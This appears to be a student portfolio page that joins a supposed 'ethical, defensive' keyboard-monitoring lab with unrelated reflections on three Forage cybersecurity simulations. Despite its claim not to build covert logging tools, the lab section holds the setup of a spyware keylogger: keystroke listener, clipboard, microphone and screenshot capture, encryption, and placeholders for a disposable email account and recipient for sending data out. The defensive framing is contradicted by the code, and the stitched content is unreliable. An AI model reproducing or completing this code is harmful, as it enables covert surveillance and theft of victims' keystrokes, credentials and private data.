Project Title

Understanding Keyboard Input Monitoring — An Ethical, Defensive Lab Project

Project Objective

Learn the fundamental concepts of how keyboard input can be observed by software and how defenders detect and mitigate unauthorized input monitoring. The project focuses on conceptual understanding, privacy and legal considerations, and building detection and mitigation techniques — not on creating covert logging tools.

Background (High-level, non-actionable)

Keyboard input monitoring is a basic capability of many legitimate applications (e.g., accessibility tools, hotkey utilities, and input method editors). The same OS features that enable these apps can also be misused by malicious software to capture keystrokes. Understanding the mechanisms at a conceptual level helps security practitioners design better defenses and policies.

This is for educational purposes only. Any material within is intended for educational and only used for ethical purposes.

```python
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
import smtplib

import socket
import platform

import win32clipboard

from pynput.keyboard import Key, Listener

import time
import os

from scipy.io.wavfile import write
import sounddevice as sd

from cryptography.fernet import Fernet

import getpass
from requests import get

from multiprocessing import Process, freeze_support
from PIL import ImageGrab

keys_information = "key_log.txt"
system_information = "syseminfo.txt"
clipboard_information = "clipboard.txt"
audio_information = "audio.wav"
screenshot_information = "screenshot.png"

keys_information_e = "e_key_log.txt"
system_information_e = "e_systeminfo.txt"
clipboard_information_e = "e_clipboard.txt"

microphone_time = 10
```

```
microphone_time = 10
time_iteration = 15
number_of_iterations_end = 3

email_address = " " # Enter disposable email here
password = " " # Enter email password here

username = getpass.getuser()

toaddr = " " # Enter the email address you want to send your information to

key = " " # Generate an encryption key from the Cryptography folder

file_path = " " # Enter the file path you want your files to be saved to
extend = "\\"
file_merge = file_path + extend
```

Cybersecurity Virtual Experience Programs

PwC US Cyber Security Consulting Simulation

The PwC US Cyber Security Consulting Simulation on The Forage is a self-paced virtual experience
that immerses participants in real-world cybersecurity consulting challenges. It simulates how consultants assess
risk and design control measures to mitigate vulnerabilities in a client's business process. The program provides a realistic view of the consulting environment.

Key Tasks

1. Risk Assessment – Analyze a client's procure-to-pay process and identify missing controls.

2. Change Management – Simulate stakeholder questioning to assess governance around changes.

3. Controls Evaluation – Evaluate existing control adequacy and efficiency.

4. Status Reporting – Prepare a professional update for stakeholders.

5. Reflection – Conclude with lessons learned and career application insights.

Reflection

Through this simulation, I developed a deeper understanding of business risk assessment, communication, and stakeholder engagement. I improved my ability to identify control weaknesses, propose mitigations, and present findings clearly and persuasively. The exercise provided hands-on exposure to consulting-style documentation and reporting, which is invaluable for a career in risk or cybersecurity advisory.

Mastercard Cybersecurity Simulation

The Mastercard Cybersecurity Virtual Experience on The Forage introduces participants to phishing awareness
and cybersecurity communication. It is a short, 1–2 hour program designed to show how cybersecurity teams build awareness and
educate users to recognize phishing and social engineering attacks.

Key Tasks

1. Phishing Simulation – Create a realistic phishing awareness email.

2. Design Refinement – Analyze what makes phishing emails convincing and improve their structure.

3. Reflection – Assess how awareness programs reduce organizational risk.

Reflection

I crafted and refined phishing simulation emails that mirrored real-world social engineering attempts.
This activity sharpened my understanding of human factors in cybersecurity and how training influences user behavior.
It reinforced how even simple awareness campaigns can greatly reduce organizational exposure to cyber threats.

Commonwealth Bank Intro to Cybersecurity Simulation

The Commonwealth Bank Intro to Cybersecurity Simulation gives participants a structured introduction
to the core principles of cybersecurity in the banking sector. It focuses on threat identification, vulnerability assessment,
risk mitigation, and executive communication—showing how cybersecurity aligns with business objectives.

Key Tasks

1. Identify Threats & Assets – Map critical assets and analyze potential threats.

2. Vulnerability Assessment – Evaluate system weaknesses and their impact.

3. Control Design – Recommend mitigations and prioritize risk reduction.

4. Stakeholder Communication – Translate technical findings into executive-level reports.

Reflection

By completing this simulation, I learned how to assess and communicate cybersecurity risks in a financial context.
I practiced prioritizing risks, designing mitigations, and explaining technical concepts in business language.
This experience strengthened my analytical, decision-making, and communication skills, crucial for working in
cybersecurity and risk management roles.

Overall Reflection

Completing these three cybersecurity simulations—PwC, Mastercard, and Commonwealth Bank—provided a comprehensive understanding of cybersecurity from multiple perspectives: consulting, awareness, and operations.

The experiences helped strengthen my analytical thinking, problem-solving, and communication abilities while demonstrating real-world cybersecurity applications across industries. Together, they form a strong foundation for pursuing a career in cybersecurity or risk management.